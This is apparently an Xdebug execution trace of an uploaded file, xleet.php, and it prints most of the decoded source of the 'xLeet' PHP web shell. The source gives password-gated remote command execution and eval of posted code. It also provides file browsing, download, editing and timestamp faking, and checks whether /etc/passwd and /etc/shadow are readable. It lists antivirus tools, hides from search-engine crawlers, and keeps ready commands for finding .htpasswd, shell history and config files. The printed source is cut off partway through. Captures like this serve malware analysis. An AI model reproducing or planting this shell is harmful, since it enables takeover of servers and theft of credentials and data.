Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-12 22:02:11.499125] 1 0 1 0.000143 393512 1 3 0 0.000211 396064 {main} 1 /var/www/html/uploads/xleet.php 0 0 2 4 0 0.000228 396064 file 0 /var/www/html/uploads/xleet.php 1 1 '/var/www/html/uploads/xleet.php' 2 4 1 0.000272 445744 2 4 R [0 => ' ' ' ' 655, 1 => 236, 2 => 40] 3 10 0 0.000859 450760 substr 0 /var/www/html/uploads/xleet.php(1) : eval()'d code 1 3 ' ' ' 655, 1 => 236, 2 => 40] 3 16 0 0.001357 452144 substr 0 /var/www/html/uploads/xleet.php(1) : eval()'d code 1 2 ' ' ' 655, 1 => 236, 2 => 40] 3 20 0 0.001931 501296 substr 0 /var/www/html/uploads/xleet.php(1) : eval()'d code 1 3 '$version,\n\t\t"uname"=>$uname,\n\t\t"platform"=>PHP_OS,\n\t\t"ip"=>$ip,\n\t\t"workingx"=>true,\t\n\t));\n\tdie ();\n}\n//-----------------Password---------------------\n$▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //xleet\n\n$▘ = true;\n$▜ = \'UTF-8\';\n$▚ = \'File' 3 27 0 0.010287 1303808 eval 1 '\nerror_reporting (0);\n//-------------- Seller Rulez !--------------\nif ($_REQUEST[\'watchx\']) {\n\t$version = phpversion();\n\t$uname = php_uname();\n\t$ip = gethostbyname($_SERVER["HTTP_HOST"]);\t\n\techo json_encode (array ("version"=>$version,\n\t\t"uname"=>$uname,\n\t\t"platform"=>PHP_OS,\n\t\t"ip"=>$ip,\n\t\t"workingx"=>true,\t\n\t));\n\tdie ();\n}\n//-----------------Password---------------------\n$▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //xleet\n\n$▘ = true;\n$▜ = \'UTF-8\';\n$▚ = \'FilesMan\';\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\n}\n\nif(empty($_POST[\'charset\']))\n\t$_POST[\'charset\'] = $▜;\nif (!isset($_POST[\'ne\'])) {\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n}\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i=strlen($str))break;}}return base64_decode($enc_str);}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@set_time_limit(0);\nif (PHP_VERSION_ID < 70000)\n\t@set_magic_quotes_runtime(0);\n@define(\'VERSION\', \'4.2.5\');\nif(get_magic_quotes_gpc()) {\n\tfunction stripslashes_array($array) {\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\n\t}\n\t$_POST = stripslashes_array($_POST);\n $_COOKIE = stripslashes_array($_COOKIE);\n}\n/* (С) 11.2011 oRb */\nif(!empty($▛)) {\n if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\n prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\n if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\n hardLogin();\n}\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\nfunction hardLogin() {\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n\t\t $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n\t\t if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n\t\t header(\'HTTP/1.0 404 Not Found\');\n\t\t exit;\n\t\t }\n\t\t}\n\tdie("
Password
");\n}\nif(strtolower(substr(PHP_OS,0,3)) == "win")\n\t$os = \'win\';\nelse\n\t$os = \'nix\';\n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n error_reporting(0);\n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n\t@chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\n\t$cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n\t$cwd .= \'/\';\n/* (С) 04.2015 Pirat */\nfunction hardHeader() {\n\tif(empty($_POST[\'charset\']))\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\n\techo "" . $_SERVER[\'HTTP_HOST\'] . " - xLeet " . VERSION ."\n\n\n
\n
\n\n\n\n\n\n\n
";\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n\t$totalSpace = $totalSpace?$totalSpace:1;\n\t$release = @php_uname(\'r\');\n\t$kernel = @php_uname(\'s\');\n\t$explink = \'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=\';\n\tif(strpos(\'Linux\', $kernel) !== false)\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\n\telse\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\n\tif(!function_exists(\'posix_getegid\')) {\n\t\t$user = @get_current_user();\n\t\t$uid = @getmyuid();\n\t\t$gid = @getmygid();\n\t\t$group = "?";\n\t} else {\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\n\t\t$gid = @posix_getgrgid(@posix_getegid());\n\t\t$user = $uid[\'name\'];\n\t\t$uid = $uid[\'uid\'];\n\t\t$group = $gid[\'name\'];\n\t\t$gid = $gid[\'gid\'];\n\t}\n\t$cwd_links = \'\';\n\t$path = explode("/", $GLOBALS[\'cwd\']);\n\t$n=count($path);\n\tfor($i=0; $i<$n-1; $i++) {\n\t\t$cwd_links .= "".$path[$i]."/";\n\t}\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n\t$opt_charsets = \'\';\n\tforeach($charsets as $▟)\n\t\t$opt_charsets .= \'\';\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\n\tif(!empty($GLOBALS[\'▛\']))\n\t$m[\'Logout\'] = \'Logout\';\n\t$m[\'Self remove\'] = \'SelfRemove\';\n\t$menu = \'\';\n\tforeach($m as $k => $v)\n\t\t$menu .= \'[ \'.$k.\' ]\';\n\t$drives = "";\n\tif ($GLOBALS[\'os\'] == \'win\') {\n\t\tforeach(range(\'c\',\'z\') as $drive)\n\t\tif (is_dir($drive.\':\\\\\'))\n\t\t\t$drives .= \'[ \'.$drive.\' ] \';\n\t}\n\t/* (С) 08.2015 dmkcv */\n\techo \'\'.\n\t\t \'\'.\n\t\t \'
Uname:
User:
Php:
Hdd:
Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'
Drives:\':\'\').\'		\'.substr(@php_uname(), 0, 120).\' [ Google ] [ Exploit-DB ]
\'.$uid.\' ( \'.$user.\' ) Group: \'.$gid.\' ( \' .$group. \' )
\'.@phpversion().\' Safe mode: \'.($GLOBALS[\'safe_mode\']?\'ON\':\'OFF\').\' [ phpinfo ] Datetime: \'.date(\'Y-m-d H:i:s\').\'
\'.viewSize($totalSpace).\' Free: \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)
\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' [ home ]
\'.$drives.\'
Server IP:
\'.gethostbyname($_SERVER["HTTP_HOST"]).\'
Client IP:
\'.$_SERVER[\'REMOTE_ADDR\'].\'
\'.\n\t\t \'\'.$menu.\'
\';\n}\nfunction hardFooter() {\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" [ Writeable ]":" (Not writable)";\n echo "\n
\n\n\t\n\t\t\n\t\t\n\t\n\t\t\n\t\t\n\t\n\t\t\n\t\t\n\t
Change dir:
Read file:
Make dir:$is_writable
Make file:$is_writable
Execute:
\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tUpload file:$is_writable

\n\t\n\t";\n}\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\nfunction ex($in) {\n\t$▖ = \'\';\n\tif (function_exists(\'exec\')) {\n\t\t@exec($in,$▖);\n\t\t$▖ = @join("\\n",$▖);\n\t} elseif (function_exists(\'passthru\')) {\n\t\tob_start();\n\t\t@passthru($in);\n\t\t$▖ = ob_get_clean();\n\t} elseif (function_exists(\'system\')) {\n\t\tob_start();\n\t\t@system($in);\n\t\t$▖ = ob_get_clean();\n\t} elseif (function_exists(\'shell_exec\')) {\n\t\t$▖ = shell_exec($in);\n\t} elseif (is_resource($f = @popen($in,"r"))) {\n\t\t$▖ = "";\n\t\twhile(!@feof($f))\n\t\t\t$▖ .= fread($f,1024);\n\t\tpclose($f);\n\t}else return "↳ Unable to execute command\\n";\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\n}\nfunction viewSize($s) {\n\tif($s >= 1073741824)\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n\telseif($s >= 1048576)\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n\telseif($s >= 1024)\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n\telse\n\t\treturn $s . \' B\';\n}\nfunction perms($p) {\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\n\telse $i = \'u\';\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n\treturn $i;\n}\nfunction viewPermsColor($f) {\n\tif (!@is_readable($f))\n\t\treturn \'\'.perms(@fileperms($f)).\'\';\n\telseif (!@is_writable($f))\n\t\treturn \'\'.perms(@fileperms($f)).\'\';\n\telse\n\t\treturn \'\'.perms(@fileperms($f)).\'\';\n}\nfunction hardScandir($dir) {\n if(function_exists("scandir")) {\n return scandir($dir);\n } else {\n $dh = opendir($dir);\n while (false !== ($filename = readdir($dh)))\n $files[] = $filename;\n return $files;\n }\n}\nfunction which($p) {\n\t$path = ex(\'which \' . $p);\n\tif(!empty($path))\n\t\treturn $path;\n\treturn false;\n}\nfunction actionRC() {\n\tif(!@$_POST[\'p1\']) {\n\t\t$a = array(\n\t\t\t"uname" => php_uname(),\n\t\t\t"php_version" => phpversion(),\n\t\t\t"VERSION" => VERSION,\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\n\t\t);\n\t\techo serialize($a);\n\t} else {\n\t\teval($_POST[\'p1\']);\n\t}\n}\nfunction prototype($k, $v) {\n $_COOKIE[$k] = $v;\n setcookie($k, $v);\n}\nfunction actionSecInfo() {\n\thardHeader();\n\techo \'

Server security information

\';\n\tfunction showSecParam($n, $v) {\n\t\t$v = trim($v);\n\t\tif($v) {\n\t\t\techo \'\' . $n . \': \';\n\t\t\tif(strpos($v, "\\n") === false)\n\t\t\t\techo $v . \'
\';\n\t\t\telse\n\t\t\t\techo \'
\' . $v . \'
\';\n\t\t}\n\t}\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n if(function_exists(\'apache_get_modules\'))\n showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n\t$temp=array();\n\tif(function_exists(\'mysql_get_client_info\'))\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\n\tif(function_exists(\'mssql_connect\'))\n\t\t$temp[] = "MSSQL";\n\tif(function_exists(\'pg_connect\'))\n\t\t$temp[] = "PostgreSQL";\n\tif(function_exists(\'oci_connect\'))\n\t\t$temp[] = "Oracle";\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\n\techo \'
\';\n\tif($GLOBALS[\'os\'] == \'nix\') {\n showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes [view]":\'no\');\n showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes [view]":\'no\');\n showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n if(!$GLOBALS[\'safe_mode\']) {\n $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n echo \'
\';\n $temp=array();\n foreach ($userful as $â–Ÿ)\n if(which($â–Ÿ))\n $temp[] = $â–Ÿ;\n showSecParam(\'Userful\', implode(\', \',$temp));\n $temp=array();\n foreach ($danger as $â–Ÿ)\n if(which($â–Ÿ))\n $temp[] = $â–Ÿ;\n showSecParam(\'Danger\', implode(\', \',$temp));\n $temp=array();\n foreach ($downloaders as $â–Ÿ)\n if(which($â–Ÿ))\n $temp[] = $â–Ÿ;\n showSecParam(\'Downloaders\', implode(\', \',$temp));\n echo \'
\';\n showSecParam(\'HDD space\', ex(\'df -h\'));\n showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\n }\n\t} else {\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\n\t}\n\techo \'
\';\n\thardFooter();\n}\nfunction actionFilesTools() {\n\tif( isset($_POST[\'p1\']) )\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n\tif(@$_POST[\'p2\']==\'download\') {\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n\t\t\tob_start("ob_gzhandler", 4096);\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n\t\t\tif (function_exists("mime_content_type")) {\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\n\t\t\t\theader("Content-Type: " . $type);\n\t\t\t} else\n header("Content-Type: application/octet-stream");\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\n\t\t\tif($fp) {\n\t\t\t\twhile(!@feof($fp))\n\t\t\t\t\techo @fread($fp, 1024);\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}exit;\n\t}\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\n\t\tif(!file_exists($_POST[\'p1\'])) {\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\n\t\t\tif($fp) {\n\t\t\t\t$_POST[\'p2\'] = "edit";\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}\n\t}\n\thardHeader();\n\techo \'

File tools

\';\n\tif( !file_exists(@$_POST[\'p1\']) ) {\n\t\techo \'File not exists\';\n\t\thardFooter();\n\t\treturn;\n\t}\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n\tif(!$uid) {\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n\techo \'Name: \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' Size: \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' Permission: \'.viewPermsColor($_POST[\'p1\']).\' Owner/Group: \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'
\';\n\techo \'Create time: \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' Access time: \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' Modify time: \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'

\';\n\tif( empty($_POST[\'p2\']) )\n\t\t$_POST[\'p2\'] = \'view\';\n\tif( is_file($_POST[\'p1\']) )\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\n\telse\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\n\tforeach($m as $v)\n\t\techo \'\'.((strtolower($v)==@$_POST[\'p2\'])?\'[ \'.$v.\' ]\':$v).\' \';\n\techo \'

\';\n\tswitch($_POST[\'p2\']) {\n\t\tcase \'view\':\n\t\t\techo \'
\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t\tcase \'highlight\':\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\n\t\t\t\techo \'
\';\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\n\t\t\t\techo str_replace(array(\'\'), array(\'\'),$oRb).\'
\';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \'chmod\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$perms = 0;\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\n\t\t\t\t\techo \'Can\\\'t set permissions!
\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t\tcase \'edit\':\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\n\t\t\t\techo \'File isn\\\'t writeable\';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\n\t\t\t\tif($fp) {\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\n\t\t\t\t\t@fclose($fp);\n\t\t\t\t\techo \'Saved!
\';\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t\tcase \'hexdump\':\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\n\t\t\t$n = 0;\n\t\t\t$h = array(\'00000000
\',\'\',\'\');\n\t\t\t$len = strlen($c);\n\t\t\tfor ($i=0; $i<$len; ++$i) {\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n\t\t\t\tswitch ( ord($c[$i]) ) {\n\t\t\t\t\tcase 0: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 9: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\n\t\t\t\t}\n\t\t\t\t$n++;\n\t\t\t\tif ($n == 32) {\n\t\t\t\t\t$n = 0;\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'
\';}\n\t\t\t\t\t$h[1] .= \'
\';\n\t\t\t\t\t$h[2] .= "\\n";\n\t\t\t\t}\n\t\t \t}\n\t\t\techo \'
\'.$h[0].\'
\'.$h[1].\'
\'.htmlspecialchars($h[2]).\'
\';\n\t\t\tbreak;\n\t\tcase \'rename\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n\t\t\t\t\techo \'Can\\\'t rename!
\';\n\t\t\t\telse\n\t\t\t\t\tdie(\'\');\n\t\t\t}\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t\tcase \'touch\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\n\t\t\t\tif($time) {\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\n\t\t\t\t\t\techo \'Fail!\';\n\t\t\t\t\telse\n\t\t\t\t\t\techo \'Touched!\';\n\t\t\t\t} else echo \'Bad time format!\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'
\';\n\t\t\tbreak;\n\t\t/* (С) 12.2015 mitryz */\n\t\tcase \'frame\':\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\n\t\t\tif ($frameSrc[0] != \'/\')\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\n\t\t\techo \'\';\n\t\t\tbreak;\n\t}\n\techo \'
\';\n\thardFooter();\n}\nif($os == \'win\')\n\t$aliases = array(\n\t\t"List Directory" => "dir",\n \t"Find index.php in current dir" => "dir /s /w /b index.php",\n \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n \t"Show active connections" => "netstat -an",\n \t"Show running services" => "net start",\n \t"User accounts" => "net user",\n \t"Show computers" => "net view",\n\t\t"ARP Table" => "arp -a",\n\t\t"IP Configuration" => "ipconfig /all"\n\t);\nelse\n\t$aliases = array(\n \t\t"List dir" => "ls -lha",\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\n \t\t"show opened ports" => "netstat -an | grep -i listen",\n "process status" => "ps aux",\n\t\t"Find" => "",\n \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\n \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\n \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\n \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\n \t\t"find config* files" => "find / -type f -name \\"config*\\"",\n \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\n \t\t"find all writable folders and files" => "find / -perm -2 -ls",\n \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\n \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\n \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\n \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\n \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\n \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\n \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\n \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n\t\t"Locate" => "",\n \t\t"locate httpd.conf files" => "locate httpd.conf",\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\n\t\t"locate my.conf files" => "locate my.conf",\n\t\t"locate admin.php files" =>"locate admin.php",\n\t\t"locate cfg.php files" => "locate cfg.php",\n\t\t"locate conf.php files" => "locate conf.php",\n\t\t"locate config.dat files" => "locate config.dat",\n\t\t"locate config.php files" => "locate config.php",\n\t\t"locate config.inc files" => "locate config.inc",\n\t\t"locate config.inc.php" => "locate config.inc.php",\n\t\t"locate config.default.php files" => "locate config.default.php",\n\t\t"locate config* files " => "locate config",\n\t\t"locate .conf files"=>"locate \'.conf\'",\n\t\t"locate .pwd files" => "locate \'.pwd\'",\n\t\t"locate .sql files" => "locate \'.sql\'",\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\n\t\t"locate backup files" => "locate backup",\n\t\t"locate dump files" => "locate dump",\n\t\t"locate priv files" => "locate priv"\n\t);\nfunction actionConsole() {\n if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n $_POST[\'p1\'] .= \' 2>&1\';\n } elseif(!empty($_POST[\'p1\']))\n prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\techo "d.cf.cmd.value=\'\';\\n";\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\n\t\t\tif(@chdir($match[1])) {\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\n\t\t\t}\n\t\t}\n\t\techo "d.cf.output.value+=\'".$temp."\';";\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n\t\t$temp = ob_get_clean();\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\thardHeader();\n echo "";\n\techo \'

Console

send using AJAX redirect stderr to stdout (2>&1)
$
\';\n\techo \'
